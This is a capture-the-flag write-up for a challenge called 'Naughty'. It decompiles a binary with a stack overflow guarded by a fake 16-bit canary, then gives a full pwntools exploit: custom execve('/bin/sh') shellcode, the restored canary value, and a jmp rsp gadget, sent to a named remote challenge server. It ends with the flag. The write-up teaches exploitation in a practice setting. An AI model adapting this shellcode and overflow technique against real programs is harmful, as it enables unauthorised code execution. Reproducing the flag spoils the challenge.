Naughty

Overview

We receive a file called chall. NX is disabled, which is helpful. We inject shellcode, use a jmp rsp gadget and execute our own shellcode.

Decompilation

main() is a fairly simple binary:

int main(int a1, char **a2, char **a3)
{
  char input[46]; // [rsp+0h] [rbp-30h] BYREF
  __int16 check; // [rsp+2Eh] [rbp-2h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  
  check = -6913;
  puts("Tell Santa what you want for XMAS");
  fgets(input, 71, stdin);
  puts("Nice. Hope you haven't been naughty");
  if ( check != -6913 )
  {
    puts("Oh no....no gifts for you this year :((");
    exit(0);
  }
  return 0LL;
}

The buffer is 48 bytes long. After the buffer there is 16-bit integer check, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it 71, meaning after the stored RBP we have 13 bytes of overflow, including the RIP. No ROP is possible.

Note that the value -6913 is actually 0xe4ff.

This was rather misleading as they gave you the LIBC.

Exploitation

Firstly:

from pwn import *

elf = context.binary = ELF('./chall', checksec=False)

if args.REMOTE:
    p = remote('challs.xmas.htsp.ro', 2000)
else:
    p = process()

jump_rsp = 0x40067f

Now we need some shellcode. pwntools' shellcraft.sh() is 2 bytes too long, so we'll have to make it manually.

The general payload is as follows:

• /bin/sh\x00 so we have it in a known location (relative to RSP)

• Shellcode

• Padding

• 0xe4ff to overwrite the pseudo-canary

• Padding

• jmp rsp

Now we need to decide what shellcode we want to run. Well, since RSP points at the stack, we know that it will always be a static offset off our buffer. If we calculate it, we can just do

sub rsp, x
jmp rsp

And execute the other half of our code! And at this point RSP will be exactly 8 bytes off /bin/sh\x00, so we can use it to populate RDI as well!

exploit = b'/bin/sh\x00'
exploit += asm('''
    xor rsi, rsi
    xor rdx, rdx
    lea rdi, [rsp-8]
    mov rax, 0x3b
    syscall
''')    # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall number
exploit += b'A' * (46 - len(exploit))    # padding
exploit += p16(0xe4ff)
exploit += b'B' * 8
exploit += p64(jump_rsp)
exploit += asm('''
    sub rsp, 0x38
    jmp rsp
''')    # RSP point to beginning of shellcode, use this to point RIP there
 
p.sendline(exploit)
p.interactive()

X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}